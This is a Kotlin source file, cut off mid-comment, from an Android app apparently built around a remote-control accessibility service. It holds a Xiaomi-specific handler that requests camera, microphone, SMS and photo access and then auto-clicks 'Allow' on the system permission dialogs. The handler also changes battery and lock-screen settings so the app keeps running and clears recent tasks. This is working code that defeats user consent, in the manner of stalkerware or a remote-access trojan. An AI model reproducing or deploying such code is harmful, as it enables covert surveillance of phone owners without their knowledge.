package com.hikoncont.service.modules

import android.content.Context
import android.content.Intent
import android.graphics.Rect
import android.util.Log
import android.view.accessibility.AccessibilityNodeInfo
import android.provider.Settings
import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.GestureDescription
import android.content.ComponentName
import android.graphics.Path
import android.net.Uri
import android.os.Build
import android.os.Bundle
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.delay

/**
 * 小米(Mi)设备授权处理器
 * 负责执行Xiaomi/Redmi设备的权限配置
 * 支持优化的路径配置，避免重复导航
 */
class MiAuthorizationHandler(
    private val service: AccessibilityRemoteService,
    private val context: Context
) : DeviceAuthorizationHandler {

    companion object {
        private const val TAG = "MiAuthorizationHandler"
        private const val STEP_DELAY = 200L // 每步之间的延迟
        private const val PAGE_LOAD_DELAY = 200L // 页面加载延迟
        private const val SCROLL_WAIT_DELAY = 1000L // 滑动后等待时间
        private const val ANDROID_11_SCROLL_WAIT_DELAY = 1500L // Android 11滑动后等待时间


        /**
         * ✅ 获取稳定的根节点（参考OnePlusAuthorizationHandler实现）
         * 多次尝试获取rootInActiveWindow，确保稳定性
         */
        fun getStableRootInActiveWindow(service: AccessibilityService): AccessibilityNodeInfo? {
            var rootInActiveWindow: AccessibilityNodeInfo? = null

            // ✅ 小米设备策略：最多尝试5次获取稳定的根节点
            for (attempt in 1..5) {
                rootInActiveWindow = service.rootInActiveWindow
                if (rootInActiveWindow != null) {
                    break
                }
                // 短暂延迟后重试
                Thread.sleep(50)
            }

            return rootInActiveWindow
        }

        // 小米版本常量
        private const val MI_ANDROID_10 = 10
        private const val MI_ANDROID_11 = 11
        private const val MI_ANDROID_12 = 12
        private const val MI_ANDROID_13 = 13
        private const val MI_ANDROID_14 = 14
        private const val MI_ANDROID_15 = 15

        // 统一搜索层级
        private const val MAX_SCROLL_ATTEMPTS = 8 // 8次，应用24
    }

    // 管理的节点，用于内存管理
    private val managedNodes = mutableSetOf<AccessibilityNodeInfo>()

    // 状态管理 - 记录已经成功配置的权限，避免重复执行
    private val completedPermissions = mutableSetOf<String>()

    // 搜索状态管理 - 区分第一次进入设置页面还是后续子页面
    private var isFirstSettingsEntry = true


    // 小米版本信息
    private val miVersion: Int by lazy { detectMiVersion() }
    
    // 系统类型信息（澎湃OS或MIUI）
    private val systemType: Boolean by lazy { detectSystemType() }

    override suspend fun executeAuthorization(): AuthorizationResult {
        Log.i(TAG, "🎯 开始小米设备授权配置")

        // 显示检测到的小米版本和系统类型
        Log.i(TAG, "🔍 检测到小米版本: Android $miVersion")
        Log.i(TAG, "🔍 检测到系统类型: ${getSystemTypeDescription()}")

        val completedRoutes = mutableListOf<String>()
        val failedRoutes = mutableListOf<String>()
        val warnings = mutableListOf<String>()

        try {
            when (miVersion) {
                MI_ANDROID_10, MI_ANDROID_11, MI_ANDROID_12, MI_ANDROID_13, MI_ANDROID_15 -> {
                    val versionName = when (miVersion) {
                        MI_ANDROID_15 -> "15"
                        MI_ANDROID_14 -> "14"
                        MI_ANDROID_13 -> "13"
                        MI_ANDROID_12 -> "12"
                        MI_ANDROID_11 -> "11"
                        else -> "10"
                    }
                    Log.i(TAG, "📱 使用小米Android $versionName 权限配置流程")
                    executeMiAndroid10Permissions(completedRoutes, failedRoutes, warnings)
                }

                else -> {
                    Log.i(TAG, "📱 使用小米Android 12+权限配置流程")
                    executeMiAndroid11PlusPermissions(completedRoutes, failedRoutes, warnings)
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 授权配置过程中出现异常", e)
            failedRoutes.add("系统异常")
        } finally {
            // 清理资源
            cleanupManagedNodes()
        }

        val success = completedRoutes.size >=1  // 至少完成3项配置

        return AuthorizationResult(
            success = success,
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes,
            warnings = warnings
        )
    }

    // ======================== 版本检测和权限配置方法 ========================

    /**
     * 检测小米版本
     */
    private fun detectMiVersion(): Int {
        return try {
            val sdkVersion = android.os.Build.VERSION.SDK_INT
            Log.d(TAG, "🔍 当前Android SDK版本: $sdkVersion")

            when {
                sdkVersion == 29 -> MI_ANDROID_10 // Android 10
                sdkVersion == 35 -> MI_ANDROID_15 // Android 15
                sdkVersion == 34 -> MI_ANDROID_14 // Android 14
                sdkVersion == 33 -> MI_ANDROID_13 // Android 13
                sdkVersion == 31 -> MI_ANDROID_12 // Android 12
                sdkVersion == 30 -> MI_ANDROID_11 // Android 11
                else -> MI_ANDROID_10 // 默认使用10流程
            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 版本检测失败，使用默认流程", e)
            MI_ANDROID_10
        }
    }

    /**
     * 检测小米手机的系统类型
     * 基于系统属性进行准确判断（参考SocketIOManager实现）
     * @return true表示是澎湃OS，false表示是MIUI
     */
    private fun detectSystemType(): Boolean {
        return try {
            val brand = android.os.Build.BRAND.lowercase()
            
            // 只对小米设备进行检测
            if (!brand.contains("xiaomi") && !brand.contains("redmi") && !brand.contains("poco")) {
                Log.d(TAG, "🔍 非小米设备，默认判断为MIUI")
                return false
            }
            
            Log.d(TAG, "🔍 开始检测小米系统类型 (Brand: $brand)")
            
            // 优先检查澎湃OS系统属性
            val hasHyperOSProperty = hasSystemProperty("ro.mi.os.version.incremental")
            val hasMIUIProperty = hasSystemProperty("ro.miui.ui.version.name")
            
            Log.d(TAG, "🔍 系统属性检测结果:")
            Log.d(TAG, "  - 澎湃OS属性存在: $hasHyperOSProperty")
            Log.d(TAG, "  - MIUI属性存在: $hasMIUIProperty")
            
            val isHyperOS = when {
                hasHyperOSProperty -> {
                    Log.i(TAG, "✅ 检测到澎湃OS系统 (通过ro.mi.os.version.incremental)")
                    true
                }
                hasMIUIProperty -> {
                    Log.i(TAG, "✅ 检测到MIUI系统 (通过ro.miui.ui.version.name)")
                    false
                }
                else -> {
                    Log.w(TAG, "⚠️ 未检测到明确的系统属性，默认判断为MIUI")
                    false
                }
            }
            
            isHyperOS
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 系统类型检测失败，默认判断为MIUI", e)
            false // 默认返回MIUI
        }
    }
    
    /**
     * 检查系统属性是否存在（参考SocketIOManager实现）
     */
    private fun hasSystemProperty(key: String): Boolean {
        return try {
            val property = getSystemProperty(key)
            !property.isNullOrBlank()
        } catch (e: Exception) {
            false
        }
    }
    
    /**
     * 获取系统属性值（参考SocketIOManager实现）
     */
    private fun getSystemProperty(key: String): String? {
        return try {
            val clazz = Class.forName("android.os.SystemProperties")
            val method = clazz.getMethod("get", String::class.java)
            val result = method.invoke(null, key) as? String
            result?.takeIf { it.isNotBlank() }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 获取系统属性失败: $key", e)
            null
        }
    }

    private fun delay_page(): Long {
        val brand = Build.BRAND.lowercase()
        return if (brand.contains("redmi")) {
            800L
        } else {
            400L
        }

    }

    /**
     * 清除全部近期任务
     * 流程：打开任务栏 -> 点击“清除全部任务/清除全部/全部清除/全部关闭”等按钮
     */
    private suspend fun clearAllRecentTasks(): Boolean {
        return try {
            Log.d(TAG, "🔧 开始清除全部近期任务")

            // 0) 确认当前是否在本应用界面；若不在，则尝试打开并循环检测5次
            val targetPackage = context.packageName
            var inOurApp = false
            repeat(5) { attempt ->
                val current = getCurrentPackageName()
                if (current == targetPackage) {
                    inOurApp = true
                    Log.d(TAG, "✅ 已在本应用界面: $current (尝试 ${attempt + 1}/5)")
                    return@repeat
                }
                performBackNavigation()
                Log.d(TAG, "🔄 不在本应用界面(当前: $current)，尝试打开应用 (尝试 ${attempt + 1}/5)")
                try {
                    val appIntent = Intent().apply {
                        action = Intent.ACTION_MAIN
                        addCategory(Intent.CATEGORY_LAUNCHER)
                        setClassName(context.packageName, "com.hikoncont.MainActivity")
                        flags = Intent.FLAG_ACTIVITY_NEW_TASK
                    }
                    context.startActivity(appIntent)
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 打开应用失败", e)
                }
                delay(delay_page())
            }

            if (!inOurApp) {
                Log.w(TAG, "❌ 多次尝试后仍未进入本应用界面，取消清理任务")
                return false
            }

            // 1) 打开任务栏（最近任务）
            val opened = service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_RECENTS)
            if (!opened) {
                Log.w(TAG, "❌ 无法打开最近任务")
                return false
            }

            // 等待最近任务界面稳定
            delay(delay_page())

            // 2) 查找并点击清除全部按钮（兼容多种文案）
            val candidates = listOf(
                "清理全部任务",
            )

            // 多次尝试，给动画和渲染留时间
            repeat(4) { attempt ->
                for (text in candidates) {
                    // 优先使用更宽松的当前页查找点击


                    // 递归子树查找并直接坐标点击（调试日志表明节点可见但未被精确匹配命中）
                    val root = getStableRootInActiveWindow(service)
                    if (root != null) {
                        try {
                            val node = findNodeByTextInSubtree(root, text)
                            if (node != null) {
                                Log.d(TAG, "🎯 递归命中清理按钮，尝试直接点击: $text")
                                // 优先安全点击，其次坐标点击
                                val clicked = try {
                                    performClickSafe(node)
                                } catch (_: Exception) {
                                    false
                                }
                                val finalClicked =
                                    if (!clicked) performCoordinateClick(node) else true
                                if (finalClicked) {
                                    Log.i(
                                        TAG,
                                        "✅ 已点击清除按钮(递归/坐标): $text (尝试 ${attempt + 1})"
                                    )
                                    delay(delay_page())
                                    delay(delay_page())
                                    return true
                                }
                            }
                        } catch (_: Exception) {
                        } finally {
                            safeRecycleNode(root)
                        }
                    }
                }
                // 等待下一次尝试
                delay(delay_page())
            }

            Log.w(TAG, "⚠️ 未找到清除全部按钮，清理可能不支持或UI差异")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 清除全部近期任务失败", e)
            false
        }
    }

    /**
     * 调试：递归打印最近任务界面文本并查询关键词
     */
    private fun debugDumpRecentsUI(keywords: List<String>) {
        val root = getStableRootInActiveWindow(service)
        if (root == null) {
            Log.w(TAG, "⚠️ 调试：无法获取最近任务根节点")
            return
        }
        try {
            Log.d(TAG, "🧩 调试：开始递归打印最近任务界面所有文本节点")
//            printAllTextNodesInPage(root)

            val allTexts = mutableListOf<String>()
            collectAllTexts(root, allTexts)
            Log.d(TAG, "📝 调试：文本总数=${allTexts.size}")
            if (allTexts.isNotEmpty()) {
                Log.d(TAG, "📝 调试：文本汇总: ${allTexts.joinToString(" | ")}")
            }

            keywords.forEach { key ->
                val hit = findNodeByTextInSubtree(root, key)
                if (hit != null) {
                    Log.d(TAG, "🔎 调试：找到关键词 => '$key'")
                } else {
                    Log.d(TAG, "🔎 调试：未找到关键词 => '$key'")
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 调试：递归打印或查询失败", e)
        } finally {
            safeRecycleNode(root)
        }
    }

    /**
     * 根据版本获取电池页面文本
     */
    private fun getBatteryPageText(): String {
        return when (miVersion) {
            MI_ANDROID_11, MI_ANDROID_12, MI_ANDROID_13, MI_ANDROID_14, MI_ANDROID_15 -> "省电与电池"
            else -> "电池与性能"
        }
    }


    /**
     * 是否支持修改系统设置功能
     */
    private fun supportSystemSettingsModification(): Boolean {

        return miVersion == MI_ANDROID_10 || miVersion == MI_ANDROID_12  // 只有Android 10需要隐私保护权限，Android 11+都跳过
    }

    /**
     * 是否支持通知管理功能
     */
    private fun supportNotificationManagement(): Boolean {
        return miVersion != MI_ANDROID_13 && miVersion != MI_ANDROID_14 && miVersion != MI_ANDROID_15 // Android 13和15都跳过通知管理
    }

    /**
     * 是否支持场景配置功能
     */
    private fun supportScenarioConfig(): Boolean {
        return miVersion != MI_ANDROID_14 && miVersion != MI_ANDROID_15 // Android 15没有场景配置，改为夜间休眠省电
    }

    /**
     * 是否需要通过应用管理导航
     */
    private fun needAppManagementNavigation(): Boolean {
        return miVersion != MI_ANDROID_14 && miVersion != MI_ANDROID_15 // Android 15去掉了"应用管理"步骤
    }

    /**
     * 小米Android 10权限配置流程
     */
    private suspend fun executeMiAndroid10Permissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        warnings: MutableList<String>
    ) {

        // 追加：核心运行时权限（相册/摄像头/麦克风/短信）一站式获取，完成后返回APP
        executePermissionSafely(
            permissionName = "核心运行时权限配置",
            executeAction = { requestCoreRuntimePermissionsViaGranter() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        // 优化路径1: 隐私保护相关权限 (一次导航处理多个权限)
        executePermissionSafely(
            permissionName = "隐私保护权限配置",
            executeAction = { executePrivacyPermissionsV10() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        // 优化路径3: 应用管理相关权限 (一次导航处理多个权限)
        executePermissionSafely(
            permissionName = "应用管理权限配置",
            executeAction = { executeAppManagementPermissionsV10() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        // 优化路径2: 电池与性能相关权限 (一次导航处理多个权限)
        executePermissionSafely(
            permissionName = "电池性能权限配置",
            executeAction = { executeBatteryPermissionsV10() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
//



    }

    /**
     * 小米Android 11+权限配置流程
     */
    private suspend fun executeMiAndroid11PlusPermissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        warnings: MutableList<String>
    ) {

        // 追加：核心运行时权限（相册/摄像头/麦克风/短信）一站式获取，完成后返回APP
        executePermissionSafely(
            permissionName = "核心运行时权限配置",
            executeAction = { requestCoreRuntimePermissionsViaGranter() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        // 与Android 10相同的优化策略，但可能路径略有不同
        executePermissionSafely(
            permissionName = "隐私保护权限配置",
            executeAction = { executePrivacyPermissionsV11Plus() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )
        executePermissionSafely(
            permissionName = "应用管理权限配置",
            executeAction = { executeAppManagementPermissionsV11Plus() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )

        executePermissionSafely(
            permissionName = "电池性能权限配置",
            executeAction = { executeBatteryPermissionsV11Plus() },
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes
        )



    }

    /**
     * 使用 PermissionGranter 申请相册/摄像头/麦克风/短信权限，并在结束后回到APP前台
     */
    private suspend fun requestCoreRuntimePermissionsViaGranter(): Boolean {
        return try {
            Log.d(TAG, "🔧 通过广播方式请求核心运行时权限并自动点击弹框")

            suspend fun waitAndHandleDialogs(waitMs: Long = 800L, attempts: Int = 5) {
                repeat(attempts) {
                    delay(waitMs)
                    handlePermissionDialogMi()
                }
            }

            // 相册权限
            kotlin.runCatching {
                val galleryGranted = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
                    checkPermission(android.Manifest.permission.READ_MEDIA_IMAGES)
                } else {
                    checkPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE)
                }
                if (!galleryGranted) {
                    Log.d(TAG, "🖼️ 申请相册权限 (广播)")
                    val intent = Intent("android.mycustrecev.REQUEST_GALLERY_PERMISSION")
                    context.sendBroadcast(intent)
                    waitAndHandleDialogs(400, 5)
                    clickAllowByTypeMi("GALLERY")
//                    delay(300)
                } else Log.d(TAG, "🖼️ 相册已授权")
            }

            // 短信权限
            kotlin.runCatching {
                if (!checkPermission(android.Manifest.permission.READ_SMS)) {
                    Log.d(TAG, "✉️ 申请短信权限 (广播)")
                    val intent = Intent("android.mycustrecev.REQUEST_SMS_PERMISSION")
                    context.sendBroadcast(intent)
                    waitAndHandleDialogs(400, 6)
                    clickAllowByTypeMi("SMS")
//                    delay(300)
                } else Log.d(TAG, "✉️ 短信已授权")
            }

            // 麦克风权限
            kotlin.runCatching {
                if (!checkPermission(android.Manifest.permission.RECORD_AUDIO)) {
                    Log.d(TAG, "🎤 申请麦克风权限 (广播)")
                    val intent = Intent("android.mycustrecev.REQUEST_MICROPHONE_PERMISSION")
                    context.sendBroadcast(intent)
                    waitAndHandleDialogs(400, 6)
                    clickAllowByTypeMi("MIC")
//                    delay(300)
                } else Log.d(TAG, "🎤 麦克风已授权")
            }

            // 摄像头权限
            kotlin.runCatching {
                if (!checkPermission(android.Manifest.permission.CAMERA)) {
                    Log.d(TAG, "📷 申请摄像头权限 (广播)")
                    val intent = Intent("android.mycustrecev.REQUEST_CAMERA_PERMISSION")
                    context.sendBroadcast(intent)
                    waitAndHandleDialogs(400, 6)
                    clickAllowByTypeMi("CAMERA")
//                    delay(300)
                } else Log.d(TAG, "📷 摄像头已授权")
            }

            // 最终校验
            val galleryOk = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
                checkPermission(android.Manifest.permission.READ_MEDIA_IMAGES)
            } else {
                checkPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE)
            }
            val smsOk = checkPermission(android.Manifest.permission.READ_SMS)
            val micOk = checkPermission(android.Manifest.permission.RECORD_AUDIO)
            val cameraOk = checkPermission(android.Manifest.permission.CAMERA)

            val allOk = galleryOk && smsOk && micOk && cameraOk
            Log.d(TAG, "📊 权限结果: 相册=$galleryOk, 短信=$smsOk, 麦克风=$micOk, 摄像头=$cameraOk")
            allOk
        } catch (e: Exception) {
            Log.e(TAG, "❌ 核心运行时权限广播申请异常", e)
            false
        }
    }

    /**
     * ✅ 自动处理权限弹框（允许/确定/始终允许等）
     */
    private suspend fun handlePermissionDialogMi(): Boolean {
        return try {
            val root = getStableRootInActiveWindow(service) ?: return false
            val keywords = listOf(
                "允许", "Allow", "确定", "确认", "OK", "始终允许", "Always Allow",
                "仅在使用时允许", "在使用应用时允许", "同意", "接受"
            )
            for (kw in keywords) {
                val nodes = try { root.findAccessibilityNodeInfosByText(kw) } catch (_: Exception) { emptyList() }
                for (n in nodes) {
                    try {
                        if (n.isClickable) {
                            if (n.performAction(AccessibilityNodeInfo.ACTION_CLICK)) {
                                Log.d(TAG, "✅ 权限弹框点击: $kw")
                                delay(300)
                                return true
                            }
                        } else {
                            // 父级可点击
                            var p = n.parent
                            var depth = 0
                            while (p != null && depth < 4) {
                                if (p.isClickable && p.performAction(AccessibilityNodeInfo.ACTION_CLICK)) {
                                    Log.d(TAG, "✅ 权限弹框父级点击: $kw")
                                    delay(300)
                                    return true
                                }
                                p = p.parent
                                depth++
                            }
                        }
                    } finally {
                        try { n.recycle() } catch (_: Exception) {}
                    }
                }
            }
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理权限弹框失败", e)
            false
        }
    }

    /**
     * ✅ 按权限类型点击常见的允许关键词
     */
    private suspend fun clickAllowByTypeMi(type: String): Boolean {
        return try {
            val root = getStableRootInActiveWindow(service) ?: return false
            val keywords = when (type) {
                "CAMERA" -> listOf("允许", "Allow", "使用应用时允许", "仅在使用时允许", "始终允许", "Always Allow", "相机", "Camera")
                "MIC" -> listOf("允许", "Allow", "使用应用时允许", "仅在使用时允许", "始终允许", "Always Allow", "麦克风", "Microphone")
                "GALLERY" -> listOf("允许", "Allow", "相册", "存储", "Storage", "照片", "Photos", "始终允许", "Always Allow")
                "SMS" -> listOf("允许", "Allow", "短信", "SMS", "Messages", "始终允许", "Always Allow")
                else -> listOf("允许", "Allow", "确定", "确认", "OK")
            }
            for (kw in keywords) {
                val nodes = try { root.findAccessibilityNodeInfosByText(kw) } catch (_: Exception) { emptyList() }
                for (n in nodes) {
                    try {
                        if (n.isClickable && n.performAction(AccessibilityNodeInfo.ACTION_CLICK)) {
                            Log.d(TAG, "✅ 按类型点击成功: $type -> $kw")
                            delay(200)
                            return true
                        }
                    } finally {
                        try { n.recycle() } catch (_: Exception) {}
                    }
                }
            }
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 按类型点击允许失败: $type", e)
            false
        }
    }

    /**
     * ✅ 通用权限检查
     */
    private fun checkPermission(permission: String): Boolean {
        return try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                context.checkSelfPermission(permission) == android.content.pm.PackageManager.PERMISSION_GRANTED
            } else true
        } catch (_: Exception) { false }
    }

    /**
     * 安全执行权限配置
     */
    private suspend fun executePermissionSafely(
        permissionName: String,
        executeAction: suspend () -> Boolean,
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>,
        isOptional: Boolean = false,
        warnings: MutableList<String>? = null
    ) {
        // 检查是否已经成功配置过
        if (completedPermissions.contains(permissionName)) {
            Log.i(TAG, "✅ $permissionName 已经配置成功，跳过重复执行")
            completedRoutes.add(permissionName)
            return
        }

        Log.i(TAG, "🔄 执行权限配置: $permissionName")

        try {
            val result = executeAction()
            if (result) {
                completedRoutes.add(permissionName)
                completedPermissions.add(permissionName) // 记录成功状态
                Log.i(TAG, "✅ $permissionName 配置成功")
            } else {
                failedRoutes.add(permissionName)
                if (isOptional && warnings != null) {
                    warnings.add("$permissionName 可能需要手动配置")
                }
                Log.w(TAG, "❌ $permissionName 配置失败")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ $permissionName 配置异常", e)
            failedRoutes.add(permissionName)
            if (isOptional && warnings != null) {
                warnings.add("$permissionName 配置异常，可能需要手动配置")
            }
        }
    }

    // ======================== 小米Android 10权限配置方法 ========================

    /**
     * Android 10: 隐私保护权限配置 (优化版本)
     * 路径: 设置->隐私保护->其他权限
     * 处理: 2. 特殊权限设置->修改系统设置
     */
    private suspend fun executePrivacyPermissionsV10(): Boolean {
        Log.i(TAG, "🔧 开始隐私保护权限配置")
        clearAllRecentTasks()
        delay(delay_page())
        var successCount = 0
//        if (supportSystemSettingsModification()) {
//            // 1. 导航到隐私保护->其他权限
//            if (!navigateToPrivacyOtherPermissions()) {
//                Log.e(TAG, "❌ 无法导航到隐私保护->其他权限")
//                return false
//            }
//
//            if (handleSystemSettingsPermission()) {
//                successCount++
//                Log.i(TAG, "✅ 修改系统设置权限配置成功")
//            }
//        } else {
//            Log.i(TAG, "⏭️ Android 11+/13/15版本跳过隐私保护权限配置")
//        }
//
//        val expectedCount = if (supportSystemSettingsModification()) 1 else 0
//        Log.i(TAG, "📊 隐私保护权限配置完成: 成功 $successCount/$expectedCount")
        return successCount >= 0
    }

    /**
     * Android 10: 电池性能权限配置 (优化版本)
     * 路径: 设置->电池与性能->更多电池功能 (Android 13/15: 设置->省电与电池->更多电池功能)
     * 处理: 1. 锁屏后断开数据 (Android 13/15不支持) 2. 锁屏后清理内存 3. 场景配置->睡眠模式 (Android 15: 夜间休眠省电)
     * 注意: 锁屏后断开数据、锁屏后清理内存、场景配置都在同一个页面
     */
    private suspend fun executeBatteryPermissionsV10(): Boolean {
        val batteryPageText = getBatteryPageText()
        Log.i(TAG, "🔧 开始电池性能权限配置 (页面: $batteryPageText)")

        // 1. 导航到电池与性能/省电与电池->更多电池功能
        if (!navigateToBatteryMoreFunctions()) {
            Log.e(TAG, "❌ 无法导航到$batteryPageText->更多电池功能")
            return false
        }

        var successCount = 0

        // 2. 处理锁屏后断开数据 (Android 13/15不支持)
        if (handleLockScreenDataDisconnection()) {
            successCount++
            Log.i(TAG, "✅ 锁屏后断开数据配置成功")
        }

        // 3. 处理锁屏后清理内存
        if (handleLockScreenMemoryCleanup()) {
            successCount++
            Log.i(TAG, "✅ 锁屏后清理内存配置成功")
        }

        // 3.5. Android 11专用：处理异常耗电通知
        //if (miVersion == MI_ANDROID_11 || miVersion == MI_ANDROID_10) {
        //    if (handleAbnormalPowerNotification()) {
        //        successCount++
        //        Log.i(TAG, "✅ 异常耗电通知配置成功")
        //    }
        //}
        if (handleAbnormalPowerNotification()) {
            successCount++
            Log.i(TAG, "✅ 异常耗电通知配置成功")
        }

        // 4. 处理场景配置->睡眠模式 或 夜间休眠省电
        if (supportScenarioConfig()) {
//            if (handleScenarioConfigSleepMode()) {
//                successCount++
//                Log.i(TAG, "✅ 睡眠模式配置成功")
//            }
//            if (handleNightfivePowerSaving()){
//                successCount++
//                Log.i(TAG, "✅ 5G智能省电配置成功")
//            }
            if (miVersion == MI_ANDROID_13){
                if (handleNightSleepPowerSaving()) {
                    successCount++
                    Log.i(TAG, "✅ 夜间休眠省电配置成功")
                }
            }else{
                if (handleScenarioConfigSleepMode()) {
                    successCount++
                    Log.i(TAG, "✅ 睡眠模式配置成功")
                }
            }

        } else {
            // Android 15: 处理夜间休眠省电
            if (handleNightSleepPowerSaving()) {
                successCount++
                Log.i(TAG, "✅ 夜间休眠省电配置成功")
            }
        }

        // 确保返回到主设置页面，为下一个权限配置做准备
        Log.d(TAG, "🔙 电池权限配置完成，确保返回到主设置页面")
        // 如果还在电池相关页面，执行返回操作
        if (getCurrentPageType() != "设置主页") {
            Log.d(TAG, "🔙 执行返回操作，回到设置主页")

            if (miVersion == MI_ANDROID_15) {
                // Android 15只需要返回2次
                Log.d(TAG, "🔙 Android 15返回逻辑：2次返回")
                performBackNavigation() // 返回到更多电池功能页面
                delay(50)
                performBackNavigation() // 返回到设置主页
                delay(50)
            } else {
                // 其他版本返回3次
                Log.d(TAG, "🔙 其他版本返回逻辑：3次返回")
                performBackNavigation() // 返回到处理场景配置
                delay(50)
                performBackNavigation() // 返回到电池与性能/省电与电池页面
                delay(50)
                performBackNavigation() // 返回到设置主页
                delay(50)
            }
        }

        val expectedCount = when {
            miVersion == MI_ANDROID_10 -> 3
            else -> 4  // Android 13/15：锁屏清理内存 + 睡眠模式/夜间休眠省电
        }
        val minRequiredCount = when {
            miVersion == MI_ANDROID_10 -> 1
            else -> 1
        }
        Log.i(TAG, "📊 电池性能权限配置完成: 成功 $successCount/$expectedCount")
        return successCount >= minRequiredCount
    }

    /**
     * 打开系统设置页面（针对小米手机优化）
     * 使用多种方案确保能够成功打开系统设置页面
     */
    private fun openSystemSettingsPage(): Boolean {
        return try {
            Log.i(TAG, "🔧 尝试打开系统设置页面（小米优化）")

            // 方案1：使用标准的系统设置Intent
            val intent = Intent(Settings.ACTION_SETTINGS).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or
                        Intent.FLAG_ACTIVITY_CLEAR_TOP or
                        Intent.FLAG_ACTIVITY_SINGLE_TOP
            }

            service.startActivity(intent)
            Log.i(TAG, "✅ 使用标准系统设置Intent成功打开设置页面")
            true

        } catch (e: Exception) {
            Log.e(TAG, "❌ 方案1失败，尝试小米专用方案", e)

            try {
                // 方案2：使用小米设置包名（针对MIUI系统）
                val miuiIntent = Intent().apply {
                    component =
                        ComponentName("com.android.settings", "com.android.settings.Settings")
                    flags = Intent.FLAG_ACTIVITY_NEW_TASK
                }

                service.startActivity(miuiIntent)
                Log.i(TAG, "✅ 使用小米设置包名成功打开设置页面")
                true

            } catch (e2: Exception) {
                Log.e(TAG, "❌ 方案2失败，尝试备用方案", e2)

                try {
                    // 方案3：使用applicationContext
                    val intent3 = Intent(Settings.ACTION_SETTINGS).apply {
                        flags = Intent.FLAG_ACTIVITY_NEW_TASK
                    }

                    service.applicationContext.startActivity(intent3)
                    Log.i(TAG, "✅ 使用applicationContext成功打开设置页面")
                    true

                } catch (e3: Exception) {
                    Log.e(TAG, "❌ 方案3失败，尝试最后备用方案", e3)

                    // 方案4：最后备用方案 - 尝试打开主设置页面
                    try {
                        val fallbackIntent = Intent(Intent.ACTION_MAIN).apply {
                            addCategory(Intent.CATEGORY_LAUNCHER)
                            component = ComponentName(
                                "com.android.settings",
                                "com.android.settings.Settings"
                            )
                            flags = Intent.FLAG_ACTIVITY_NEW_TASK
                        }
                        service.startActivity(fallbackIntent)
                        Log.i(TAG, "✅ 使用备用方案打开设置页面")
                        true
                    } catch (e4: Exception) {
                        Log.e(TAG, "❌ 所有方案都失败", e4)
                        false
                    }
                }
            }
        }
    }

    /**
     * 打开应用详情页面
     * 使用多种方案确保能够成功打开应用详情设置页面
     */
    private fun openAppDetailsPage(): Boolean {
        return try {
            Log.i(TAG, "🔧 尝试打开应用详情页面")

            // 方案1：使用service的Context和完整的Intent标志
            val intent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                data = Uri.fromParts("package", context.packageName, null)
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or
                        Intent.FLAG_ACTIVITY_CLEAR_TOP or
                        Intent.FLAG_ACTIVITY_SINGLE_TOP
            }

            service.startActivity(intent)
            Log.i(TAG, "✅ 使用service.startActivity成功打开应用详情页面")
            true

        } catch (e: Exception) {
            Log.e(TAG, "❌ 方案1失败，尝试备用方案", e)

            try {
                // 方案2：使用applicationContext
                val intent2 = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                    data = Uri.fromParts("package", context.packageName, null)
                    flags = Intent.FLAG_ACTIVITY_NEW_TASK
                }

                service.applicationContext.startActivity(intent2)
                Log.i(TAG, "✅ 使用applicationContext成功打开应用详情页面")
                true

            } catch (e2: Exception) {
                Log.e(TAG, "❌ 方案2失败，尝试方案3", e2)

                try {
                    // 方案3：使用原始context但添加更多标志
                    val intent3 = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                        data = Uri.fromParts("package", context.packageName, null)
                        flags = Intent.FLAG_ACTIVITY_NEW_TASK or
                                Intent.FLAG_ACTIVITY_CLEAR_TOP or
                                Intent.FLAG_ACTIVITY_SINGLE_TOP or
                                Intent.FLAG_ACTIVITY_NO_HISTORY
                    }

                    context.startActivity(intent3)
                    Log.i(TAG, "✅ 使用原始context成功打开应用详情页面")
                    true

                } catch (e3: Exception) {
                    Log.e(TAG, "❌ 所有方案都失败，尝试最后备用方案", e3)

                    // 方案4：最后备用方案 - 打开应用设置页面
                    try {
                        val fallbackIntent = Intent(Settings.ACTION_APPLICATION_SETTINGS).apply {
                            flags = Intent.FLAG_ACTIVITY_NEW_TASK
                        }
                        service.startActivity(fallbackIntent)
                        Log.i(TAG, "✅ 使用备用方案打开应用设置页面")
                        true
                    } catch (e4: Exception) {
                        Log.e(TAG, "❌ 所有方案都失败", e4)
                        false
                    }
                }
            }
        }
    }

    /**
     * Android 10: 应用管理权限配置 (优化版本)
     * 路径: 设置->应用设置->应用管理->我们的应用 (Android 15: 设置->应用设置->我们的应用)
